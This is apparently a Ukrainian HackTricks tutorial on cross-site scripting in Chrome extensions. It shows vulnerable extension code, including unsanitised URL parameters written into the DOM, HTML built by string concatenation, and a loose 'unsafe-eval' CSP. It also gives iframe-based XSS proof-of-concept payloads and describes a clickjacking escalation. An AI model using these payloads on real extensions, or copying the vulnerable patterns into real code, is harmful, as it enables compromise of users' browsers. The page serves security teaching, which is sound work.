BrowExt - XSS Example

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Міжсайтовий скриптінг (XSS) через Iframe

У цьому налаштуванні скрипт вмісту реалізований для створення Iframe, включаючи URL з параметрами запиту як джерело Iframe:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

На публічно доступній HTML-сторінці, message.html, розроблено для динамічного додавання вмісту до тіла документа на основі параметрів у URL:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Зловмисний скрипт виконується на сторінці противника, змінюючи параметр content джерела Iframe, щоб ввести XSS payload. Це досягається оновленням джерела Iframe, щоб включити шкідливий скрипт:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Надмірно дозвільна політика безпеки контенту, така як:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

дозволяє виконання JavaScript, що робить систему вразливою до атак XSS.

Альтернативний підхід для виклику XSS полягає в створенні елемента Iframe та встановленні його джерела для включення шкідливого скрипту як параметра content:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-базовий XSS + ClickJacking

Цей приклад був взятий з оригінального посту.

Основна проблема виникає з уразливості DOM-базованого міжсайтового скриптінгу (XSS), розташованої в /html/bookmarks.html. Проблемний JavaScript, частина bookmarks.js, детально описаний нижче:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Цей уривок отримує значення з поля введення txtName та використовує конкатенацію рядків для генерації HTML, яке потім додається до DOM за допомогою функції .append() jQuery.

Зазвичай політика безпеки вмісту (CSP) розширення Chrome могла б запобігти таким вразливостям. Однак через розслаблення CSP з 'unsafe-eval' та використання методів маніпулювання DOM jQuery (які використовують globalEval() для передачі скриптів до eval() при вставці в DOM), експлуатація все ще можлива.

Хоча ця вразливість є значущою, її експлуатація зазвичай залежить від взаємодії користувача: відвідування сторінки, введення XSS-навантаження та активація кнопки "Додати".

Для підвищення цієї вразливості використовується вторинна вразливість clickjacking. Маніфест розширення Chrome показує розгорнуту політику web_accessible_resources:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Зокрема, сторінка /html/bookmarks.html нахильна до фреймінгу, отже, вразлива на clickjacking. Цю вразливість використовують для відображення сторінки на сайті зловмисника, накладаючи на неї елементи DOM для обманливого перетворення інтерфейсу. Ця маніпуляція призводить до того, що жертви ненавмисно взаємодіють з підлеглим розширенням.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated